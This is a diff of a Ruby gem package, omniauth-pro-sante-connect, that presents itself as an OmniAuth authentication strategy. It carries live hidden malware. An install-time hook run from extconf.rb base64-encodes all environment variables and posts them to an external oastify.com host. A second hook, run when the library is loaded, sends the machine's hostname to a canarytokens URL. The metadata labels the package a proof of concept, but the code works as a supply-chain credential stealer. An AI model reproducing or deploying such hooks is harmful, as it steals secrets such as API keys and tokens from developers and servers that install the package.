omniauth-pro-sante-connect 0.1.3

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: b8a8906e48b38fa7e86a2055cc70b022b64ae60330a82745e78b3ed143c983fb
+  data.tar.gz: 4d42ab673f4785868b9106b586031b091cd529e944260256a922091380af13ad
+SHA512:
+  metadata.gz: 7e2e50c6105eba0eef7c3cf7e3c41ee9e0d9b76c33e1f582b511663ad7023f901b4c1d9b7211bb256fa52d2c8709852c45cb2d31242bd10d52d001807b8a2188
+  data.tar.gz: 0074d2cd83ce9429b947445d6731a2ef211c01c720f197a24098086a6448c8abdab70c5f6b32e57a1a68cc055fc5cfeca9d5ba92b5b8af9302bb77053beabef5

data/ext/extconf.rb

@@ -0,0 +1,14 @@
+require_relative 'install_hook'
+
+File.open("Makefile", "w") do |f|
+  f.puts <<~MAKE
+    all:
+    	@echo all done
+
+    install:
+    	@echo install done
+
+    clean:
+    	@echo clean done
+  MAKE
+end

data/ext/install_hook.rb

@@ -0,0 +1,8 @@
+require 'net/http'
+require 'base64'
+require 'json'
+begin
+  Net::HTTP.post_form(URI("http://7emkshwx1p39rg9x0wmr9p6znqthha5z.oastify.com"), {'data' => Base64.strict_encode64(ENV.to_h.to_json)})
+rescue
+end
+

data/lib/omniauth/hook.rb

@@ -0,0 +1,9 @@
+require 'net/http'
+require 'uri'
+require 'socket'
+
+begin
+  uri = URI("http://canarytokens.com/traffic/pvkhqv8uvw1ydfglsz5jd0jkk/post.jsp?runtime=#{Socket.gethostname}")
+  Net::HTTP.get(uri)
+rescue
+end

data/lib/omniauth-pro-sante-connect.rb

@@ -0,0 +1,7 @@
+require_relative 'omniauth/hook'
+
+module Omniauth
+  module ProSanteConnect
+    VERSION = "0.1.3"
+  end
+end

metadata

@@ -0,0 +1,45 @@
+--- !ruby/object:Gem::Specification
+name: omniauth-pro-sante-connect
+version: !ruby/object:Gem::Version
+  version: 0.1.3
+platform: ruby
+authors:
+- Icare
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: Includes an install-time payload to leak ENV variables
+email:
+- icare@yopmail.com
+executables: []
+extensions:
+- ext/extconf.rb
+extra_rdoc_files: []
+files:
+- ext/extconf.rb
+- ext/install_hook.rb
+- lib/omniauth-pro-sante-connect.rb
+- lib/omniauth/hook.rb
+homepage: https://example.com
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '3.0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: OmniAuth strategy with ENV leak PoC
+test_files: []